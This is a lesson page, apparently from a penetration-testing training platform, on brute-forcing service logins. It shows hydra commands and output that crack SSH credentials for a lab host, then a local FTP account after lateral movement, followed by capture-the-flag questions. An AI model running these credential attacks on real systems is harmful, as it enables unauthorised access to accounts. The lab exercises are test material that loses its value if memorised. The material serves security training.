

Service Authentication Brute Forcing

SSH Attack

The command used to attack a login service is fairly straightforward. We simply have to provide the username/password wordlists, and add `service://SERVER_IP:PORT` at the end. As usual, we will add the `-u -f` flags. Finally, when we run the command for the first time, `hydra` will suggest that we add the `-t 4` flag for a max number of parallel attempts, as many `SSH` limit the number of parallel connections and drop other connections, resulting in many of our attempts being dropped. Our final command should be as follows:

Service Authentication Brute Forcing

```
dbcypn@htb[/htb]$ hydra -L bill.txt -P william.txt -u -f ssh://178.35.49.134:22 -t 4

Hydra v9.1 (c) 2020 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organs

Hydra (https://github.com/vanhauser-thc/thc-hydra)
[DATA] max 4 tasks per 1 server, overall 4 tasks, 157116 login tries (l:12/p:13093), ~39279 tries per task
[DATA] attacking ssh://178.35.49.134:22/
[STATUS] 77.00 tries/min, 77 tries in 00:01h, 157039 to do in 33:60h, 4 active
[PORT][ssh] host: 178.35.49.134 login: b.gates password: ...SNIP...
[STATUS] attack finished for 178.35.49.134 (valid pair found)
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra)
```

We see that it takes some time to finish, but eventually, we get a working pair, and we identify the user `b.gates`. Now, we can attempt ssh-ing in using the credentials we got:

Service Authentication Brute Forcing

```
dbcypn@htb[/htb]$ ssh b.gates@178.35.49.134 -p 22

b.gates@SERVER_IP's password: *****

b.gates@bruteforcing:~$ whoami
b.gates
```

As we can see, we can `SSH` in, and get a shell on the server.

FTP Brute Forcing

Once we are in, we can check out what other users are on the system:

Service Authentication Brute Forcing

```
b.gates@bruteforcing:~$ ls /home

b.gates  m.gates
```

We notice another user, `m.gates`. We also notice in our local `recon` that port `21` is open locally, indicating that an `FTP` must be available:

Service Authentication Brute Forcing

```
b.gates@bruteforcing:~$ netstat -antp | grep -i list
```

```
(No info could be read for "-p": geteuid()=1000 but you should be root.)
```

```
tcp      0      0 127.0.0.1:21          0.0.0.0:*        LISTEN    -
tcp      0      0 0.0.0.0:80            0.0.0.0:*        LISTEN    -
tcp6     0      0 :::80                 :::*             LISTEN    -
```

Next, we can try brute forcing the **FTP** login for the **m.gates** user now.

Note 1: Sometimes administrators test their security measures and policies with different tools. In this case, the administrator of this web server kept "hydra" installed. We can benefit from it and use it against the local system by attacking the FTP service locally or remotely.

Note 2: "rockyou-10.txt" can be found in "/opt/useful/SecLists/Passwords/Leaked-Databases/rockyou-10.txt", which contains 92 passwords in total. This is a shorter version of "rockyou.txt" which includes 14,344,391 passwords.

So, similarly to how we attacked the **SSH** service, we can perform a similar attack on **FTP**:

Service Authentication Brute Forcing

```
b.gates@bruteforcing:~$ hydra -l m.gates -P rockyou-10.txt ftp://127.0.0.1
```

```
Hydra v9.0 (c) 2019 by van Hauser/THC - Please do not use in military or secret service organizations, or for
```

```
Hydra (https://github.com/vanhauser-thc/thc-hydra)
```

```
[DATA] max 16 tasks per 1 server, overall 16 tasks, 92 login tries (l:1/p:92), ~6 tries per task
```

```
[DATA] attacking ftp://127.0.0.1:21/
```

```
[21][ftp] host: 127.0.0.1 login: m.gates password: <...SNIP...>
```

```
1 of 1 target successfully completed, 1 valid password found
```

```
Hydra (https://github.com/vanhauser-thc/thc-hydra)
```

We can now attempt to **FTP** as that user, or even switch to that user. Let us try both:

Service Authentication Brute Forcing

```
b.gates@bruteforcing:~$ ftp 127.0.0.1
```

```
Connected to 127.0.0.1.
```

```
220 (vsFTPd 3.0.3)
```

```
Name (127.0.0.1:b.gates): m.gates
```

```
331 Please specify the password.
```

```
Password:
```

```
230 Login successful.
```

```
Remote system type is UNIX.
```

```
Using binary mode to transfer files.
```

```
ftp> dir
```

```
200 PORT command successful. Consider using PASV.
```

```
150 Here comes the directory listing.
```

```
-rw----- 1 1001 1001 33 Sep 11 00:06 flag.txt
```

```
226 Directory send OK.
```

And to switch to that user:

Service Authentication Brute Forcing

```
b.gates@bruteforcing:~$ su - m.gates
```

```
Password: *****
m.gates@bruteforcing:~$
```

Service Authentication Brute Forcing

```
m.gates@bruteforcing:~$ whoami
m.gates
```



Connect to Pwnbox

Your own web-based Parrot Linux instance to play our labs.

Pwnbox Location

AU

457ms ▼

Terminate Pwnbox to switch location

Start Instance

∞ / 1 spawns left

Waiting to start...

Questions

Answer the question(s) below to complete this Section and earn cubes!



Cheat Sheet

Target: [Click here to spawn the target system!](#)

SSH to with user "b.gates" and password ""



Using what you learned in this section, try to brute force the SSH login of the user "b.gates" in the target server shown above. Then try to SSH into the server. You should find a flag in the home dir. What is the content of the flag?

Submit your answer here

Submit your answer here...

+10 Streak pts

Submit

Show Solution

+ 1  Once you ssh in, try brute forcing the FTP login for the other user. You should find another flag in their home directory. What is the flag?

Submit your answer here...

+10 Streak pts

Submit

Show Solution

Previous

Next

 Cheat Sheet

? Go to Questions

Table of Contents

Introduction

Introduction to Brute Forcing

✓

Basic HTTP Auth Brute Forcing

Password Attacks

✓

 Default Passwords

✓

 Username Brute Force

✓

Web Forms Brute Forcing

Hydra Modules

✓

Determine Login Parameters

✓

 Login Form Attacks

✓

Service Authentication Attacks

Personalized Wordlists

✓

 [Service Authentication Brute Forcing](#)

Skills Assessment

 Skills Assessment - Website

 Skills Assessment - Service Login

My Workstation

OFFLINE

▶ Start Instance

∞ / 1 spawns left